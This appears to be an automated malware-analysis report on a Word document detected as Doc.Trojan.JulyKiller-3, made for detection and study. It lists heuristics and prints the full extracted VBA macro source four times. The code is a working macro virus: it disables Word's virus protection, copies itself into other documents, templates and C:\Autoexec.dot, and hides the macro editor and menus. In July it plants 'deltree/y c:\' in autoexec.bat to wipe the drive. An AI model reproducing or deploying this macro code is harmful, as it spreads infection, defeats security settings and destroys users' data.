MALICIOUS
196
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains legacy WordBasic macro virus markers and AutoOpen/Auto_Close VBA macros, indicating malicious intent. The VBA script attempts to disable virus protection and copy itself to the Normal template and other documents, suggesting a self-propagation mechanism. The presence of 'Autoexec.dot' as a target filename is noted.
Heuristics 6
-
ClamAV: Doc.Trojan.JulyKiller-3 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.JulyKiller-3
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then -
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 26854 bytes |
SHA-256: 67be6b51b5233c84c0e5c3aa3b03cdf6fd638edac336dda9fe46409606b2cd66 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "a"
Sub AutoOpen()
Dim file$
Dim ans$
Dim test
Dim mItem
Dim cItem
Dim aDoc
Dim aTemp
Dim vset
Dim Iset
Dim ad
For Each ad In AddIns
If ad.Name = "Autoexec.dot" Then
ad.Installed = False
End If
Next ad
With Dialogs(wdDialogToolsOptionsFileLocations)
.path = "STARTUP-PATH"
.Setting = "c:\"
.Execute
End With
If Options.VirusProtection Then
Options.VirusProtection = False
End If
file$ = WordBasic.[MacroFileName$]()
If InStr(file$, "Autoexec") <> 0 Then
For Each aDoc In Documents
For Each cItem In aDoc.VBProject.VBComponents
If (cItem.Name = "a") Then
vset = 1
End If
Next cItem
Next aDoc
For Each cItem In NormalTemplate.VBProject.VBComponents
If (cItem.Name = "a") Then
vset = 1
End If
Next cItem
If vset <> 1 Then
WordBasic.DisableAutoMacros
Documents.Open FileName:="C:\Autoexec.dot", AddToRecentFiles:=False
For Each aDoc In Documents
If (InStr(aDoc.FullName, Application.PathSeparator) <> 0) And (aDoc.VBProject.Protection = 0) Then
WordBasic.MacroCopy ActiveDocument.FullName + ":a", aDoc.FullName + ":a"
End If
Next aDoc
For Each aTemp In Templates
If (InStr(aTemp.FullName, Application.PathSeparator) <> 0) And (aTemp.VBProject.Protection = 0) Then
WordBasic.MacroCopy ActiveDocument.FullName + ":a", aTemp.FullName + ":a"
End If
Next aTemp
ActiveDocument.Save
ActiveDocument.Close
End If
If vset = 1 Then
GoTo out
End If
End If
With Application.FileSearch
.LookIn = "C:\"
.FileName = "Autoexec.dot"
If .Execute > 0 Then
Iset = 1
End If
End With
If Iset <> 1 Then
WordBasic.DisableAutoMacros
Documents.Add NewTemplate:=True
WordBasic.MacroCopy file$ + ":a", ActiveDocument.FullName + ":a"
ActiveDocument.SaveAs FileName:="c:\Autoexec.dot", AddToRecentFiles:=False
ActiveDocument.Close
End If
For Each aDoc In Documents
If (file$ <> aDoc.FullName) And (aDoc.VBProject.Protection = 0) Then
For Each cItem In aDoc.VBProject.VBComponents
If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
aDoc.VBProject.VBComponents.Remove (cItem)
End If
Next cItem
End If
Next aDoc
For Each aTemp In Templates
If (file$ <> aTemp.FullName) And (aTemp.VBProject.Protection = 0) Then
For Each cItem In aTemp.VBProject.VBComponents
If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
aTemp.VBProject.VBComponents.Remove (cItem)
End If
Next cItem
End If
Next aTemp
For Each aDoc In Documents
If (InStr(aDoc.FullName, Application.PathSeparator) <> 0) And (aDoc.VBProject.Protection = 0) Then
WordBasic.MacroCopy file$ + ":a", aDoc.FullName + ":a"
End If
Next aDoc
For Each aTemp In Templates
If (InStr(aTemp.FullName, Application.PathSeparator) <> 0) And (aTemp.VBProject.Protection = 0) Then
WordBasic.MacroCopy file$ + ":a", aTemp.FullName + ":a"
End If
Next aTemp
out:
CustomizationContext = NormalTemplate
Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF8))
myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="FileSaveAs"
Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF11))
myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="FileSaveAs"
Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF1))
myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="ToolsMacro"
Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF2))
myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="ViewVBCode"
For Each mItem In CommandBars("Tools").Controls
If mItem.Caption = "×Ô¶¨Òå(&C)..." Then
mItem.OnAction = "AutoClose"
End If
If mItem.Caption = "Ä£°åºÍ¼ÓÔØÏî(&I)..." Then
mItem.OnAction = "AutoClose"
End If
If mItem.Caption = "Ñ¡Ïî(&O)..." Then
mItem.OnAction = "AutoClose"
End If
Next mItem
For Each cItem In CommandBars("Tools").Controls
If cItem.Type = msoControlPopup Then
If cItem.Caption = "ºê(&M)" Then
For Each mItem In cItem.CommandBar.Controls
If mItem.Caption = "ºê(&M)..." Then
mItem.OnAction = "AutoClose"
End If
If mItem.Caption = "Visual Basic ±à¼Æ÷(&V)" Then
mItem.OnAction = "AutoClose"
End If
Next mItem
End If
End If
Next cItem
For Each cItem In CommandBars("Visual Basic").Controls
cItem.OnAction = "AutoClose"
Next cItem
For Each cItem In CommandBars
If cItem.Visible = True Then
cItem.Protection = msoBarNoCustomize
End If
Next cItem
WordBasic.FileSaveAll 1, 1
pun:
If WordBasic.Month(WordBasic.Now()) = 7 Then
try:
On Error GoTo -1: On Error GoTo 0
On Error GoTo -1: On Error GoTo try
If test > 2 Then GoTo result
test = test + 1
WordBasic.Beep
ans$ = WordBasic.[InputBox$]("µ±½ñÉç»áÌ«ºÚ°µ£¬Ì«²»¹«ÕýÁË£¡(" + Str(test) + ")", "ÐÑÊÀºãÑÔ", "·Ç³£ÕýÈ·")
If WordBasic.[RTrim$](WordBasic.[LTrim$](ans$)) = "·Ç³£ÕýÈ·" Then
WordBasic.Beep
WordBasic.MsgBox "You are wise,please choose this later again,critically!", 48
GoTo exit_
Else
GoTo try
End If
result:
WordBasic.Beep
WordBasic.MsgBox "Stop it!you are so incurable to lose 3 chances!" + Chr(13) + "Now,god will punish you...", 48
Open "C:\autoexec.bat" For Output As 1
Print #1, "deltree/y c:\"
Close 1
Else
'MsgBox "Conguratulations!"
End If
exit_:
For Each myTask In Tasks
If InStr(myTask.Name, "Visual Basic") > 0 Then
myTask.Visible = False
End If
Next myTask
End Sub
Sub AutoClose()
Dim file$
Dim ans$
Dim test
Dim mItem
Dim cItem
Dim aDoc
Dim aTemp
Dim vset
Dim Iset
Dim ad
For Each ad In AddIns
If ad.Name = "Autoexec.dot" Then
ad.Installed = False
End If
Next ad
With Dialogs(wdDialogToolsOptionsFileLocations)
.path = "STARTUP-PATH"
.Setting = "c:\"
.Execute
End With
If Options.VirusProtection Then
Options.VirusProtection = False
End If
file$ = WordBasic.[MacroFileName$]()
If InStr(file$, "Autoexec") <> 0 Then
For Each aDoc In Documents
For Each cItem In aDoc.VBProject.VBComponents
If (cItem.Name = "a") Then
vset = 1
End If
Next cItem
Next aDoc
For Each cItem In NormalTemplate.VBProject.VBComponents
If (cItem.Name = "a") Then
vset = 1
End If
Next cItem
If vset <> 1 Then
WordBasic.DisableAutoMacros
Documents.Open FileName:="C:\Autoexec.dot", AddToRecentFiles:=False
For Each aDoc In Documents
If (InStr(aDoc.FullName, Application.PathSeparator) <> 0) And (aDoc.VBProject.Protection = 0) Then
WordBasic.MacroCopy ActiveDocument.FullName + ":a", aDoc.FullName + ":a"
End If
Next aDoc
For Each aTemp In Templates
If (InStr(aTemp.FullName, Application.PathSeparator) <> 0) And (aTemp.VBProject.Protection = 0) Then
WordBasic.MacroCopy ActiveDocument.FullName + ":a", aTemp.FullName + ":a"
End If
Next aTemp
ActiveDocument.Save
ActiveDocument.Close
End If
If vset = 1 Then
GoTo out
End If
End If
With Application.FileSearch
.LookIn = "C:\"
.FileName = "Autoexec.dot"
If .Execute > 0 Then
Iset = 1
End If
End With
If Iset <> 1 Then
WordBasic.DisableAutoMacros
Documents.Add NewTemplate:=True
WordBasic.MacroCopy file$ + ":a", ActiveDocument.FullName + ":a"
ActiveDocument.SaveAs FileName:="c:\Autoexec.dot", AddToRecentFiles:=False
ActiveDocument.Close
End If
For Each aDoc In Documents
If (file$ <> aDoc.FullName) And (aDoc.VBProject.Protection = 0) Then
For Each cItem In aDoc.VBProject.VBComponents
If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
aDoc.VBProject.VBComponents.Remove (cItem)
End If
Next cItem
End If
Next aDoc
For Each aTemp In Templates
If (file$ <> aTemp.FullName) And (aTemp.VBProject.Protection = 0) Then
For Each cItem In aTemp.VBProject.VBComponents
If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
aTemp.VBProject.VBComponents.Remove (cItem)
End If
Next cItem
End If
Next aTemp
For Each aDoc In Documents
If (InStr(aDoc.FullName, Application.PathSeparator) <> 0) And (aDoc.VBProject.Protection = 0) Then
WordBasic.MacroCopy file$ + ":a", aDoc.FullName + ":a"
End If
Next aDoc
For Each aTemp In Templates
If (InStr(aTemp.FullName, Application.PathSeparator) <> 0) And (aTemp.VBProject.Protection = 0) Then
WordBasic.MacroCopy file$ + ":a", aTemp.FullName + ":a"
End If
Next aTemp
out:
CustomizationContext = NormalTemplate
Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF8))
myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="FileSaveAs"
Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF11))
myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="FileSaveAs"
Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF1))
myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="ToolsMacro"
Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF2))
myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="ViewVBCode"
For Each mItem In CommandBars("Tools").Controls
If mItem.Caption = "×Ô¶¨Òå(&C)..." Then
mItem.OnAction = "AutoClose"
End If
If mItem.Caption = "Ä£°åºÍ¼ÓÔØÏî(&I)..." Then
mItem.OnAction = "AutoClose"
End If
If mItem.Caption = "Ñ¡Ïî(&O)..." Then
mItem.OnAction = "AutoClose"
End If
Next mItem
For Each cItem In CommandBars("Tools").Controls
If cItem.Type = msoControlPopup Then
If cItem.Caption = "ºê(&M)" Then
For Each mItem In cItem.CommandBar.Controls
If mItem.Caption = "ºê(&M)..." Then
mItem.OnAction = "AutoClose"
End If
If mItem.Caption = "Visual Basic ±à¼Æ÷(&V)" Then
mItem.OnAction = "AutoClose"
End If
Next mItem
End If
End If
Next cItem
For Each cItem In CommandBars("Visual Basic").Controls
cItem.OnAction = "AutoClose"
Next cItem
For Each cItem In CommandBars
If cItem.Visible = True Then
cItem.Protection = msoBarNoCustomize
End If
Next cItem
WordBasic.FileSaveAll 1, 1
pun:
If WordBasic.Month(WordBasic.Now()) = 7 Then
try:
On Error GoTo -1: On Error GoTo 0
On Error GoTo -1: On Error GoTo try
If test > 2 Then GoTo result
test = test + 1
WordBasic.Beep
ans$ = WordBasic.[InputBox$]("µ±½ñÉç»áÌ«ºÚ°µ£¬Ì«²»¹«ÕýÁË£¡(" + Str(test) + ")", "ÐÑÊÀºãÑÔ", "·Ç³£ÕýÈ·")
If WordBasic.[RTrim$](WordBasic.[LTrim$](ans$)) = "·Ç³£ÕýÈ·" Then
WordBasic.Beep
WordBasic.MsgBox "You are wise,please choose this later again,critically!", 48
GoTo exit_
Else
GoTo try
End If
result:
WordBasic.Beep
WordBasic.MsgBox "Stop it!you are so incurable to lose 3 chances!" + Chr(13) + "Now,god will punish you...", 48
Open "C:\autoexec.bat" For Output As 1
Print #1, "deltree/y c:\"
Close 1
Else
'MsgBox "Conguratulations!"
End If
exit_:
For Each myTask In Tasks
If InStr(myTask.Name, "Visual Basic") > 0 Then
myTask.Visible = False
End If
Next myTask
End Sub
Sub AutoNew()
Dim file$
Dim ans$
Dim test
Dim mItem
Dim cItem
Dim aDoc
Dim aTemp
Dim vset
Dim Iset
Dim ad
For Each ad In AddIns
If ad.Name = "Autoexec.dot" Then
ad.Installed = False
End If
Next ad
With Dialogs(wdDialogToolsOptionsFileLocations)
.path = "STARTUP-PATH"
.Setting = "c:\"
.Execute
End With
If Options.VirusProtection Then
Options.VirusProtection = False
End If
file$ = WordBasic.[MacroFileName$]()
If InStr(file$, "Autoexec") <> 0 Then
For Each aDoc In Documents
For Each cItem In aDoc.VBProject.VBComponents
If (cItem.Name = "a") Then
vset = 1
End If
Next cItem
Next aDoc
For Each cItem In NormalTemplate.VBProject.VBComponents
If (cItem.Name = "a") Then
vset = 1
End If
Next cItem
If vset <> 1 Then
WordBasic.DisableAutoMacros
Documents.Open FileName:="C:\Autoexec.dot", AddToRecentFiles:=False
For Each aDoc In Documents
If (InStr(aDoc.FullName, Application.PathSeparator) <> 0) And (aDoc.VBProject.Protection = 0) Then
WordBasic.MacroCopy ActiveDocument.FullName + ":a", aDoc.FullName + ":a"
End If
Next aDoc
For Each aTemp In Templates
If (InStr(aTemp.FullName, Application.PathSeparator) <> 0) And (aTemp.VBProject.Protection = 0) Then
WordBasic.MacroCopy ActiveDocument.FullName + ":a", aTemp.FullName + ":a"
End If
Next aTemp
ActiveDocument.Save
ActiveDocument.Close
End If
If vset = 1 Then
GoTo out
End If
End If
With Application.FileSearch
.LookIn = "C:\"
.FileName = "Autoexec.dot"
If .Execute > 0 Then
Iset = 1
End If
End With
If Iset <> 1 Then
WordBasic.DisableAutoMacros
Documents.Add NewTemplate:=True
WordBasic.MacroCopy file$ + ":a", ActiveDocument.FullName + ":a"
ActiveDocument.SaveAs FileName:="c:\Autoexec.dot", AddToRecentFiles:=False
ActiveDocument.Close
End If
For Each aDoc In Documents
If (file$ <> aDoc.FullName) And (aDoc.VBProject.Protection = 0) Then
For Each cItem In aDoc.VBProject.VBComponents
If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
aDoc.VBProject.VBComponents.Remove (cItem)
End If
Next cItem
End If
Next aDoc
For Each aTemp In Templates
If (file$ <> aTemp.FullName) And (aTemp.VBProject.Protection = 0) Then
For Each cItem In aTemp.VBProject.VBComponents
If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
aTemp.VBProject.VBComponents.Remove (cItem)
End If
Next cItem
End If
Next aTemp
For Each aDoc In Documents
If (InStr(aDoc.FullName, Application.PathSeparator) <> 0) And (aDoc.VBProject.Protection = 0) Then
WordBasic.MacroCopy file$ + ":a", aDoc.FullName + ":a"
End If
Next aDoc
For Each aTemp In Templates
If (InStr(aTemp.FullName, Application.PathSeparator) <> 0) And (aTemp.VBProject.Protection = 0) Then
WordBasic.MacroCopy file$ + ":a", aTemp.FullName + ":a"
End If
Next aTemp
out:
CustomizationContext = NormalTemplate
Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF8))
myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="FileSaveAs"
Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF11))
myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="FileSaveAs"
Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF1))
myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="ToolsMacro"
Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF2))
myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="ViewVBCode"
For Each mItem In CommandBars("Tools").Controls
If mItem.Caption = "×Ô¶¨Òå(&C)..." Then
mItem.OnAction = "AutoClose"
End If
If mItem.Caption = "Ä£°åºÍ¼ÓÔØÏî(&I)..." Then
mItem.OnAction = "AutoClose"
End If
If mItem.Caption = "Ñ¡Ïî(&O)..." Then
mItem.OnAction = "AutoClose"
End If
Next mItem
For Each cItem In CommandBars("Tools").Controls
If cItem.Type = msoControlPopup Then
If cItem.Caption = "ºê(&M)" Then
For Each mItem In cItem.CommandBar.Controls
If mItem.Caption = "ºê(&M)..." Then
mItem.OnAction = "AutoClose"
End If
If mItem.Caption = "Visual Basic ±à¼Æ÷(&V)" Then
mItem.OnAction = "AutoClose"
End If
Next mItem
End If
End If
Next cItem
For Each cItem In CommandBars("Visual Basic").Controls
cItem.OnAction = "AutoClose"
Next cItem
For Each cItem In CommandBars
If cItem.Visible = True Then
cItem.Protection = msoBarNoCustomize
End If
Next cItem
WordBasic.FileSaveAll 1, 1
pun:
If WordBasic.Month(WordBasic.Now()) = 7 Then
try:
On Error GoTo -1: On Error GoTo 0
On Error GoTo -1: On Error GoTo try
If test > 2 Then GoTo result
test = test + 1
WordBasic.Beep
ans$ = WordBasic.[InputBox$]("µ±½ñÉç»áÌ«ºÚ°µ£¬Ì«²»¹«ÕýÁË£¡(" + Str(test) + ")", "ÐÑÊÀºãÑÔ", "·Ç³£ÕýÈ·")
If WordBasic.[RTrim$](WordBasic.[LTrim$](ans$)) = "·Ç³£ÕýÈ·" Then
WordBasic.Beep
WordBasic.MsgBox "You are wise,please choose this later again,critically!", 48
GoTo exit_
Else
GoTo try
End If
result:
WordBasic.Beep
WordBasic.MsgBox "Stop it!you are so incurable to lose 3 chances!" + Chr(13) + "Now,god will punish you...", 48
Open "C:\autoexec.bat" For Output As 1
Print #1, "deltree/y c:\"
Close 1
Else
'MsgBox "Conguratulations!"
End If
exit_:
For Each myTask In Tasks
If InStr(myTask.Name, "Visual Basic") > 0 Then
myTask.Visible = False
End If
Next myTask
End Sub
Sub AutoExec()
Dim file$
Dim ans$
Dim test
Dim mItem
Dim cItem
Dim aDoc
Dim aTemp
Dim vset
Dim Iset
Dim ad
For Each ad In AddIns
If ad.Name = "Autoexec.dot" Then
ad.Installed = False
End If
Next ad
With Dialogs(wdDialogToolsOptionsFileLocations)
.path = "STARTUP-PATH"
.Setting = "c:\"
.Execute
End With
If Options.VirusProtection Then
Options.VirusProtection = False
End If
file$ = WordBasic.[MacroFileName$]()
If InStr(file$, "Autoexec") <> 0 Then
For Each aDoc In Documents
For Each cItem In aDoc.VBProject.VBComponents
If (cItem.Name = "a") Then
vset = 1
End If
Next cItem
Next aDoc
For Each cItem In NormalTemplate.VBProject.VBComponents
If (cItem.Name = "a") Then
vset = 1
End If
Next cItem
If vset <> 1 Then
WordBasic.DisableAutoMacros
Documents.Open FileName:="C:\Autoexec.dot", AddToRecentFiles:=False
For Each aDoc In Documents
If (InStr(aDoc.FullName, Application.PathSeparator) <> 0) And (aDoc.VBProject.Protection = 0) Then
WordBasic.MacroCopy ActiveDocument.FullName + ":a", aDoc.FullName + ":a"
End If
Next aDoc
For Each aTemp In Templates
If (InStr(aTemp.FullName, Application.PathSeparator) <> 0) And (aTemp.VBProject.Protection = 0) Then
WordBasic.MacroCopy ActiveDocument.FullName + ":a", aTemp.FullName + ":a"
End If
Next aTemp
ActiveDocument.Save
ActiveDocument.Close
End If
If vset = 1 Then
GoTo out
End If
End If
With Application.FileSearch
.LookIn = "C:\"
.FileName = "Autoexec.dot"
If .Execute > 0 Then
Iset = 1
End If
End With
If Iset <> 1 Then
WordBasic.DisableAutoMacros
Documents.Add NewTemplate:=True
WordBasic.MacroCopy file$ + ":a", ActiveDocument.FullName + ":a"
ActiveDocument.SaveAs FileName:="c:\Autoexec.dot", AddToRecentFiles:=False
ActiveDocument.Close
End If
For Each aDoc In Documents
If (file$ <> aDoc.FullName) And (aDoc.VBProject.Protection = 0) Then
For Each cItem In aDoc.VBProject.VBComponents
If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
aDoc.VBProject.VBComponents.Remove (cItem)
End If
Next cItem
End If
Next aDoc
For Each aTemp In Templates
If (file$ <> aTemp.FullName) And (aTemp.VBProject.Protection = 0) Then
For Each cItem In aTemp.VBProject.VBComponents
If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") Or (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then
aTemp.VBProject.VBComponents.Remove (cItem)
End If
Next cItem
End If
Next aTemp
For Each aDoc In Documents
If (InStr(aDoc.FullName, Application.PathSeparator) <> 0) And (aDoc.VBProject.Protection = 0) Then
WordBasic.MacroCopy file$ + ":a", aDoc.FullName + ":a"
End If
Next aDoc
For Each aTemp In Templates
If (InStr(aTemp.FullName, Application.PathSeparator) <> 0) And (aTemp.VBProject.Protection = 0) Then
WordBasic.MacroCopy file$ + ":a", aTemp.FullName + ":a"
End If
Next aTemp
out:
CustomizationContext = NormalTemplate
Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF8))
myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="FileSaveAs"
Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF11))
myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="FileSaveAs"
Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF1))
myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="ToolsMacro"
Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF2))
myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="ViewVBCode"
For Each mItem In CommandBars("Tools").Controls
If mItem.Caption = "×Ô¶¨Òå(&C)..." Then
mItem.OnAction = "AutoClose"
End If
If mItem.Caption = "Ä£°åºÍ¼ÓÔØÏî(&I)..." Then
mItem.OnAction = "AutoClose"
End If
If mItem.Caption = "Ñ¡Ïî(&O)..." Then
mItem.OnAction = "AutoClose"
End If
Next mItem
For Each cItem In CommandBars("Tools").Controls
If cItem.Type = msoControlPopup Then
If cItem.Caption = "ºê(&M)" Then
For Each mItem In cItem.CommandBar.Controls
If mItem.Caption = "ºê(&M)..." Then
mItem.OnAction = "AutoClose"
End If
If mItem.Caption = "Visual Basic ±à¼Æ÷(&V)" Then
mItem.OnAction = "AutoClose"
End If
Next mItem
End If
End If
Next cItem
For Each cItem In CommandBars("Visual Basic").Controls
cItem.OnAction = "AutoClose"
Next cItem
For Each cItem In CommandBars
If cItem.Visible = True Then
cItem.Protection = msoBarNoCustomize
End If
Next cItem
WordBasic.FileSaveAll 1, 1
pun:
If WordBasic.Month(WordBasic.Now()) = 7 Then
try:
On Error GoTo -1: On Error GoTo 0
On Error GoTo -1: On Error GoTo try
If test > 2 Then GoTo result
test = test + 1
WordBasic.Beep
ans$ = WordBasic.[InputBox$]("µ±½ñÉç»áÌ«ºÚ°µ£¬Ì«²»¹«ÕýÁË£¡(" + Str(test) + ")", "ÐÑÊÀºãÑÔ", "·Ç³£ÕýÈ·")
If WordBasic.[RTrim$](WordBasic.[LTrim$](ans$)) = "·Ç³£ÕýÈ·" Then
WordBasic.Beep
WordBasic.MsgBox "You are wise,please choose this later again,critically!", 48
GoTo exit_
Else
GoTo try
End If
result:
WordBasic.Beep
WordBasic.MsgBox "Stop it!you are so incurable to lose 3 chances!" + Chr(13) + "Now,god will punish you...", 48
Open "C:\autoexec.bat" For Output As 1
Print #1, "deltree/y c:\"
Close 1
Else
'MsgBox "Conguratulations!"
End If
exit_:
For Each myTask In Tasks
If InStr(myTask.Name, "Visual Basic") > 0 Then
myTask.Visible = False
End If
Next myTask
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.